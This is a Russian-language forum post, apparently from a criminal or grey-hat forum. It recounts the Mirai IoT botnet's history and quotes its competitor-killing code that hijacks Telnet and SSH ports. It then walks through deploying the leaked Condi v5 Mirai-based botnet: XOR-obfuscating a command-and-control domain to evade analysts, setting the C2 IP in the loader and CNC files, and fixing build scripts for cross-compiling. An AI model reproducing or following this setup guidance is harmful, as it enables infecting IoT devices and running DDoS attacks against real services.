IoT Ботнеты от Теории до Практики

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Если вы никогда не сталкивались с IoT ботнетами, то в первую очередь вам следует обратить внимание на истоки.
MIRAI
В 2016 году на весь мир прогремела серия DDoS атак с невидынами 600гбит-1тб сек
oct-1.png


французский провайдер OVH стал одним из первых кто почуствовал что такое IoT на самом деле. Никто не понимал что происходит, огромный ботнет уничтожал работу сервисов, Mirai имел огромное количество устройств в своей сети.
Oct2.png


Специалистам из OVH удалось разобрать и подсчитать примерное количество устройств учавствовающих в атаке. На удивление специалистов это были не классические персональные компьютеры, а устройства умного дома/интернет вещей. Спустя несколько дней, аноним под ником Anna-senpai на одном из зарубежных форумов опубликовал версию IoT ботнета, как оказалось именно этот ботнет был ответсвтенен за серию атак на Krebsonsecurity,OVH,hypixel
MIRAI.png


Причина по которой Mirai смог набрать большое количество ботов, это ряд функций прописанный в поведении бота.
Mirai конкурировал за огромный пул уязвимых IoT устройств на который хотели посигнуть сотни кибепреступников по всему миру.
В первых версий вредоноса Mirai подбирал log:pass к устройствам по всему миру, генерируя IP-адреса и пытаясь подключиться по Telnet/SSH. По сути Mirai создавался как вирус под linux и занимался простым брутфорсом, но с последующими версиями Mirai уже помимо брутфорса использовал большое количество эксплойтов под всевозможные роутеры/камеры..
1704046329466.png


Принцип был такой:
1) Генерируется n^число Ip-адресов
2) Запускается сканер и подбирается пароль к telnet/ssh
3) На устройстве выполняется команда для получения архитиктуры процессора и отсылается на сервер хранения бинарников
4) Сканер который уже на устройстве узнав архитиктуры процессора выгружает по http/tftp нужный бинарник и запускает его
5) Зараженный зомби девайс начинает выполнять пункт 1/2
Вытеснение Конкурентов
Mirai сканировал память и пытался найти конкурентов, чтобы убить его процесс. Особенно в то время пользовался популярностью Qbot
1704047524569.png


1704048058570.png


Так же у бота инфицированным Mirai закрывалсь порты 21/22/80
Это нужно было для того, чтобы други сканеры не смогли зайти по такому же пути.
C: Скопировать в буфер обмена
Код:
#ifdef KILLER_REBIND_TELNET
#ifdef DEBUG
    printf("[killer] Trying to kill port 23\n");
#endif
    if (killer_kill_by_port(htons(23)))
    {
#ifdef DEBUG
        printf("[killer] Killed tcp/23 (telnet)\n");
#endif
    } else {
#ifdef DEBUG
        printf("[killer] Failed to kill port 23\n");
#endif
    }
    tmp_bind_addr.sin_port = htons(23);

    if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
    {
        bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
        listen(tmp_bind_fd, 1);
    }
#ifdef DEBUG
    printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
#endif

    // Kill SSH service and prevent it from restarting
#ifdef KILLER_REBIND_SSH
    if (killer_kill_by_port(htons(22)))
    {
#ifdef DEBUG
        printf("[killer] Killed tcp/22 (SSH)\n");
#endif
    }
    tmp_bind_addr.sin_port = htons(22);

    if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
    {
        bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
        listen(tmp_bind_fd, 1);
    }
#ifdef DEBUG
    printf("[killer] Bound to tcp/22 (SSH)\n");
#endif
#endif
Mirai инфицированный бот порожает устройство в одной с ним сети
1704051886940.png


Если резюмировать, то Mirai в настоящее время не имеет силы для набора IoT зомби, но все же нынещниее время IoT ботнеты базариуются именно на коде Mirai и помечаються везде как Mirai-based-malware, как раз в практической части мы развернем один из Mirai-based ботнет.
Практика:
За основу возьмем распростроняющийся по сети Condi botnet, а именно его слитую версию. Вы так же можете купить ее у разработчика, на его сайте. Но в любом случаи я прилажу архив в 5 версией, именно ее мы будем разворачивать.
У нас есть интересный файл enc.c
1704052438782.png


Он нам нужен для того чтобы зашифровать наш домен, чтобы усложнить поиск домена вирусным аналитикам при реверсе.
1704052587978.png


давайте зашифруем наш домен www.megahucker[.]co

1698034483888


мы получили за Xor'енную версию нашего домена и колв байтов
да, сначала нужно зарегистрировать домен и привязать его к VPS
полученный результат следует внести в table.c
Код: Скопировать в буфер обмена
Код:
(TABLE_CNC_DOMAIN, "xor_result", bytes)
(TABLE_SCAN_CB_DOMAIN, "xor_result", bytes)
Меняем IP-адрес сервера С2 там, где это необходимо:
  1. loader/scanlisten.go
  2. loader/src/headers/config.h
  3. dlr/main.c
  4. cnc/main.go
  5. loader/scanlisten.go
Тут есть маленькая проблема на стадии компиляции у вас не будут выдоваться бинарники т.к. go-sql-driver/mysql обновилась и функции которые используются в CondiV5 попросту не существуют
При компиляции если возникнит такая ошибка undefined: strings.Cut, то вот решение

удалить это из bash файла
1698041081488


создайте этот путь руками и перенесите сюда старую версию (любую до сентября 2023года - github.com/go-sql-driver/mysql)
root/Projects/Proj1/github.com/src/go-mysql-driver/mysql
Вторая проблема - криво написанный bash файл, дело в том, что автор забыл указать путь к компиляторам, поэтому нужно будет добавить это добро в файл dlr/build.sh
криво написанный bash файл
Нужно добавить это вверху:

Код: Скопировать в буфер обмена
Код:
#!/bin/bash

export PATH=$PATH:/etc/xcompile/arc/bin
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/armv7l/bin
export PATH=$PATH:/etc/xcompile/i486/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/i686/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export PATH=$PATH:/etc/xcompile/x86_64/bin
Мой путь к компиляторам /etc/xcompile
вам нужно будет Скачать
View hidden content is available for registered users!
 
Сверху Снизу